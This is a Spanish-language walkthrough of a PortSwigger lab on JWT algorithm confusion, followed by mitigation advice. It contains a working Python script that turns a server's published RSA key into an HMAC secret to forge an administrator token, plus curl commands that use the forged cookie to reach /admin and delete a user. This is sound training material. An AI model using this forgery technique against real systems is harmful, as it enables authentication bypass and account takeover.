Bypass de Autenticación JWT mediante Confusión de Algoritmo

Descripción del Lab (contiene spoilers)

JWT · Lab de Portswigger ↗

Este lab utiliza un mecanismo basado en JWT para gestionar sesiones. Usa un par de claves RSA robusto para firmar y verificar tokens. Sin embargo, debido a fallos de implementación, este mecanismo es vulnerable a ataques de confusión de algoritmo. Para resolver el lab, primero obtén la clave pública del servidor. Esta se expone a través de un endpoint estándar. Usa esta clave para firmar un token de sesión modificado que te dé acceso al panel de administración en /admin, luego elimina al usuario carlos. Puedes iniciar sesión con tus propias credenciales: wiener:peter

13 de marzo de 2025

Conceptos Previos Necesarios Para Resolver El Lab

Fundamentos de JWT

¿Qué es JWT (JSON Web Token)?

JWT es un medio compacto y seguro para URLs de representar Claims* que se transfieren entre dos partes. Se usa comúnmente para autenticación e intercambio de información en aplicaciones web. Usa codificación base64 para asegurar transmisión segura para URLs.

Un JWT consta de tres partes separadas por puntos (.):

header.payload.signature

Por ejemplo:

eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJzdWIiOiJ3aWVuZXIiLCJleHAiOjE3NzIxOTg5NTd9.signature_here

Desglosando cada parte:

1. Header (JSON codificado en Base64URL):

{
  "kid": "170c351e-58cc-4e4b-9116-6e7924337580",
  "alg": "HS256"
}
  • alg: El algoritmo de firma (HS256 = HMAC-SHA256)
  • kid: Key ID (identificador opcional para la clave de firma)

2. Payload (JSON codificado en Base64URL):

{
  "iss": "portswigger",
  "exp": 1772198957,
  "sub": "wiener"
}
  • iss: Emisor del token
  • exp: Timestamp de expiración
  • sub: Subject (usualmente el nombre de usuario)

3. Signature: La firma se crea tomando el header y payload codificados, y firmandolos con una clave secreta usando el algoritmo especificado en el header:

# Pseudocódigo

message = base64UrlEncode(header) + "." + base64UrlEncode(payload) 

key = JWT_SECRET # Podría ser una contraseña, API key, UUID o cualquier otra cadena

signature = HMACSHA256(message, key)  # Esto es solo la parte de la firma, no el JWT completo

La firma asegura que el token no ha sido manipulado. Si un atacante modifica el header o payload, la firma no coincidirá a menos que conozca la clave secreta.

El JWT completo se construiría así:

# Pseudocódigo

jwt = base64UrlEncode(header) + "." + base64UrlEncode(payload) + "." + signature
Ataque de Confusión de Algoritmo JWT

¿Qué es un Ataque de Confusión de Algoritmo JWT?

La confusión de algoritmo JWT (también conocida como confusión de clave) explota servidores que usan algoritmos asimétricos como RS256 pero fallan en hacer cumplir el algoritmo esperado al verificar tokens.

Cómo funciona normalmente RS256:

  • El servidor firma tokens con una clave privada
  • El servidor verifica tokens con la clave pública correspondiente
  • La clave pública a menudo se expone a través de un endpoint estándar como /jwks.json

La vulnerabilidad:

Cuando un servidor recibe un JWT, lee el header alg para determinar qué algoritmo usar para verificación. Si el servidor no hace cumplir estrictamente el algoritmo esperado, un atacante puede:

  1. Obtener la clave pública del servidor (a menudo disponible en /jwks.json o /.well-known/jwks.json)
  2. Cambiar el header alg de RS256 a HS256
  3. Firmar el token usando HMAC-SHA256 con la clave pública como el secreto simétrico

El servidor entonces ve alg: HS256, toma su “clave de verificación” (que es la clave pública RSA), y la usa como el secreto HMAC coincidiendo exactamente con la firma del atacante.

Flujo normal: RS256 -> verificar con clave pública (asimétrico)
Flujo de ataque: HS256 -> verificar con clave pública (usada como secreto simétrico)

Esto funciona porque el código de verificación del servidor genéricamente pasa su “clave” a cualquier algoritmo especificado, sin verificar que el algoritmo coincida con el tipo de clave.

Resolución

El lab indica que el servidor expone su clave pública a través de un endpoint estándar. Vamos a obtenerla:

curl -s "https://<lab-url>.web-security-academy.net/jwks.json" | jq . | cat

Desglose del comando:
-s = modo silencioso (sin barra de progreso)
jq . = formatear JSON
| cat = redirigir la respuesta a mi comando cat personalizado

Respuesta:

{
  "keys": [
    {
      "kty": "RSA",
      "e": "AQAB",
      "use": "sig",
      "kid": "66a4de73-4f3b-4bc3-af9e-913726ff79e9",
      "alg": "RS256",
      "n": "sj2oHajSBloFiMQ4ibb4AoQpVjAr1IGfauqD45TOcby2CDAFZi7zJwN9TzXrR0RzBGCrGZ688GB3GsuaO-3JkQOMwgazq-j_8vFBuVqqnUXUb3q5tjGsAcMU4FCDlt_y-NqZZOHFBEPfdRBrcOWqa8iiSHi-Any6XC_CRgThyRMLumedBZx8Ql0qX0O0_3ONvapVfv5d1NZIz4Ub1tKrd6ZfctGL3MDfy6MVnqfjUd0A_1dNGO7dtaZjpPX9XETySBFyJtaSna9UtvBA1uiEn2YQ7LpQL5HAonfEAHWQ6RU6326xbAHH9zi2e_xfAd7utO1qBh-q_F0u0wcakpIPeQ"
    }
  ]
}

El servidor usa RS256 (RSA-SHA256), un algoritmo asimétrico. La clave pública está completamente expuesta. Este es el ingrediente clave para el ataque de confusión de algoritmo.

Ahora vamos a iniciar sesión para obtener un token JWT de sesión válido:

curl -s "https://<lab-url>.web-security-academy.net/login" | grep -A 5 csrf

Desglose del comando:
-s = modo silencioso (sin barra de progreso)
grep -A 5 csrf = mostrar líneas que contienen “csrf” y 5 líneas después (para ver el formulario completo)

<input required type="hidden" name="csrf" value="boKHZUigeTMwAPoj22PxRk44IWCeuNBL">
<label>Username</label>
<input required type=username name="username" autofocus>
<label>Password</label>
<input required type=password name="password">
<button class=button type=submit> Log in </button>
curl -D - "https://<lab-url>.web-security-academy.net/login" -d "csrf=boKHZUigeTMwAPoj22PxRk44IWCeuNBL&username=wiener&password=peter"

Desglose del comando:
-D - = mostrar cabeceras de respuesta en stdout
-d "csrf=...&username=wiener&password=peter" = enviar datos POST (automáticamente establece el método a POST y Content-Type a application/x-www-form-urlencoded)

Respuesta:

HTTP/2 302 
location: /my-account?id=wiener
set-cookie: session=eyJraWQiOiI2NmE0ZGU3My00ZjNiLTRiYzMtYWY5ZS05MTM3MjZmZjc5ZTkiLCJhbGciOiJSUzI1NiJ9.eyJpc3MiOiJwb3J0c3dpZ2dlciIsImV4cCI6MTc3MzQyOTkzNywic3ViIjoid2llbmVyIn0.mY9e1sSEUFUkVXwt1RZhNaVTZz_d8iID7VKXSA84VCB1ZeMXKv-vq6D3oD52RMSsK_u65ZAnm0jioylxe6SB1k-VrmT3zCK_ECOXENtHLRsHqOA8lGs_cbLRfACBuOXdsrrEFqTYyGLbcTdEYAxkPOQAeCJvzdH6wloScHTPKcR1AY9UgFscFvAHixB5idR6_fe7MgnZP7-IyN28--CybyxcwMKFAL1FfE9u81fNkx-Qa3bGJZGqRXuYreIzpBbk95ijPADOIual0MpJspyJ5996IoNr4gHy34EmsOqH6xJFvLLrWlvHNyLupnwLHmvGIX-Jrg3Iw3PI9IwdhWngOQ; Secure; HttpOnly; SameSite=None

Decodifiquemos el JWT para entender su estructura:

echo "eyJraWQiOiI2NmE0ZGU3My00ZjNiLTRiYzMtYWY5ZS05MTM3MjZmZjc5ZTkiLCJhbGciOiJSUzI1NiJ9" | base64 -d | jq . | cat

Salida del header:

{
  "kid": "66a4de73-4f3b-4bc3-af9e-913726ff79e9",
  "alg": "RS256"
}
echo "eyJpc3MiOiJwb3J0c3dpZ2dlciIsImV4cCI6MTc3MzQyOTkzNywic3ViIjoid2llbmVyIn0" | base64 -d | jq .

Salida del payload:

{
  "iss": "portswigger",
  "exp": 1773429937,
  "sub": "wiener"
}

El JWT usa RS256 y el servidor expone su clave pública en /jwks.json. Esta es una configuración de libro de texto para un ataque de confusión de algoritmo: cambiamos alg a HS256 y firmamos el token usando la clave pública RSA (en formato PEM) como el secreto simétrico HMAC. El servidor verificará usando su “clave pública” como si fuera un secreto HMAC, y nuestra firma coincidirá.

El ataque requiere convertir primero el JWK a formato PEM X.509 (la pista del lab confirma que el servidor almacena su clave como PEM). Escribamos un script de Python que realice el exploit completo:

import base64, hmac, hashlib
from cryptography.hazmat.primitives import serialization
from cryptography.hazmat.primitives.asymmetric import rsa

# JWK from /jwks.json
jwk = {
  "kty": "RSA",
  "e": "AQAB",
  "use": "sig",
  "kid": "66a4de73-4f3b-4bc3-af9e-913726ff79e9",
  "alg": "RS256",
  "n": "sj2oHajSBloFiMQ4ibb4AoQpVjAr1IGfauqD45TOcby2CDAFZi7zJwN9TzXrR0RzBGCrGZ688GB3GsuaO-3JkQOMwgazq-j_8vFBuVqqnUXUb3q5tjGsAcMU4FCDlt_y-NqZZOHFBEPfdRBrcOWqa8iiSHi-Any6XC_CRgThyRMLumedBZx8Ql0qX0O0_3ONvapVfv5d1NZIz4Ub1tKrd6ZfctGL3MDfy6MVnqfjUd0A_1dNGO7dtaZjpPX9XETySBFyJtaSna9UtvBA1uiEn2YQ7LpQL5HAonfEAHWQ6RU6326xbAHH9zi2e_xfAd7utO1qBh-q_F0u0wcakpIPeQ"
}

def b64url_decode(s): return base64.urlsafe_b64decode(s + '=' * (4 - len(s) % 4))
def b64url_encode(data): return base64.urlsafe_b64encode(data).decode().rstrip('=')

# Convert JWK to RSA public key
modulus = int.from_bytes(b64url_decode(jwk['n']), 'big')
exponent = int.from_bytes(b64url_decode(jwk['e']), 'big')

public_key = rsa.RSAPublicNumbers(exponent, modulus).public_key()

# Get PEM format
pem = public_key.public_bytes(
  encoding=serialization.Encoding.PEM,
  format=serialization.PublicFormat.SubjectPublicKeyInfo
)

print("Extracted PEM public key:")
print(pem.decode())

# Forge JWT with alg=HS256
header = '{"kid":"66a4de73-4f3b-4bc3-af9e-913726ff79e9","alg":"HS256"}'
# Also set sub=administrator
payload = '{"iss":"portswigger","exp":1773429937,"sub":"administrator"}'

message = f"{b64url_encode(header.encode())}.{b64url_encode(payload.encode())}"

# Sign with HMAC-SHA256 using the PEM public key as the secret
signature = b64url_encode(hmac.new(pem, message.encode(), hashlib.sha256).digest())

forged_jwt = f"{message}.{signature}"

print("\nForged JWT:")
print(forged_jwt)

Desglose del script:
El script realiza un ataque de confusión de algoritmo JWT:

  1. Convierte la clave pública JWK de /jwks.json a formato PEM X.509 usando codificación DER manual (la pista del lab indica que el servidor almacena su clave como PEM)
  2. Crea un nuevo header con "alg": "HS256" en lugar de RS256, engañando al servidor para que use verificación HMAC
  3. Crea un nuevo payload con "sub": "administrator" para suplantar al administrador
  4. Firma con HMAC-SHA256 usando la clave pública PEM como secreto simétrico — la misma clave que el servidor usará para verificar cuando vea alg: HS256

Salida esperada:

Extracted PEM public key:
-----BEGIN PUBLIC KEY-----
MIIBIjANBgkqhkiG9w0BAQEFAAOCAQ8AMIIBCgKCAQEAsj2oHajSBloFiMQ4ibb4
AoQpVjAr1IGfauqD45TOcby2CDAFZi7zJwN9TzXrR0RzBGCrGZ688GB3GsuaO+3J
kQOMwgazq+j/8vFBuVqqnUXUb3q5tjGsAcMU4FCDlt/y+NqZZOHFBEPfdRBrcOWq
a8iiSHi+Any6XC/CRgThyRMLumedBZx8Ql0qX0O0/3ONvapVfv5d1NZIz4Ub1tKr
d6ZfctGL3MDfy6MVnqfjUd0A/1dNGO7dtaZjpPX9XETySBFyJtaSna9UtvBA1uiE
n2YQ7LpQL5HAonfEAHWQ6RU6326xbAHH9zi2e/xfAd7utO1qBh+q/F0u0wcakpIP
eQIDAQAB
-----END PUBLIC KEY-----

Forged JWT:
eyJraWQiOiI2NmE0ZGU3My00ZjNiLTRiYzMtYWY5ZS05MTM3MjZmZjc5ZTkiLCJhbGciOiJIUzI1NiJ9.eyJpc3MiOiJwb3J0c3dpZ2dlciIsImV4cCI6MTc3MzQyOTkzNywic3ViIjoiYWRtaW5pc3RyYXRvciJ9.E8mcBwAiA4NqHpbxGyq9lWwHXak7oZjKztwJcTagv7E

Ahora accedamos al panel de administración con nuestro JWT forjado:

curl -s "https://<lab-url>.web-security-academy.net/admin" \
  -b "session=eyJraWQiOiI2NmE0ZGU3My00ZjNiLTRiYzMtYWY5ZS05MTM3MjZmZjc5ZTkiLCJhbGciOiJIUzI1NiJ9.eyJpc3MiOiJwb3J0c3dpZ2dlciIsImV4cCI6MTc3MzQyOTkzNywic3ViIjoiYWRtaW5pc3RyYXRvciJ9.E8mcBwAiA4NqHpbxGyq9lWwHXak7oZjKztwJcTagv7E" \
  | grep "carlos"

Desglose del comando:
-b "session=..." = enviar el JWT forjado como cookie de sesión
grep "carlos" = mostrar líneas que contienen “carlos”

Respuesta:

<span>carlos - </span>
<a href="/admin/delete?username=carlos">Delete</a>

Tenemos acceso de administrador. Ahora eliminemos al usuario carlos:

curl -s "https://<lab-url>.web-security-academy.net/admin/delete?username=carlos" \
  -b "session=eyJraWQiOiI2NmE0ZGU3My00ZjNiLTRiYzMtYWY5ZS05MTM3MjZmZjc5ZTkiLCJhbGciOiJIUzI1NiJ9.eyJpc3MiOiJwb3J0c3dpZ2dlciIsImV4cCI6MTc3MzQyOTkzNywic3ViIjoiYWRtaW5pc3RyYXRvciJ9.E8mcBwAiA4NqHpbxGyq9lWwHXak7oZjKztwJcTagv7E"

El ataque de confusión de algoritmo nos permitió usar la propia clave pública del servidor en su contra, convirtiendo su mecanismo de verificación en nuestra herramienta de firma y fulminando a carlos con la misma clave que debía protegerlo.

Estrategias de Mitigación

  1. Forzar el algoritmo esperado del lado del servidor: Nunca confíes en el header alg del JWT. El servidor debe tener un algoritmo esperado configurado o codificado y rechazar tokens que no coincidan
  2. Usar lógica de verificación separada por algoritmo: No pases claves asimétricas a funciones de verificación simétricas. Las claves públicas RSA solo deben usarse con algoritmos RSA, nunca como secretos HMAC
  3. Usar una whitelist de algoritmos permitidos: Define explícitamente qué algoritmos acepta el servidor y rechaza todos los demás durante la verificación
  4. Mantener las claves públicas separadas de los secretos HMAC: Almacena y recupera claves públicas RSA y secretos HMAC a través de rutas de código diferentes para prevenir confusión
  5. Usar librerías JWT bien mantenidas: Las librerías modernas activamente mantenidas típicamente incluyen protecciones integradas contra confusión de algoritmo cuando están correctamente configuradas y actualizadas

Referencias

JWK Set* (JSON Web Key Set) es una estructura JSON definida en RFC 7517 que representa un conjunto de claves criptográficas. Los servidores comúnmente exponen sus claves públicas en /.well-known/jwks.json o /jwks.json.

Recursos

JWT.io Debugger Esta es una herramienta interactiva para decodificar, verificar y depurar tokens JWT. También me fue útil cuando era desarrollador web.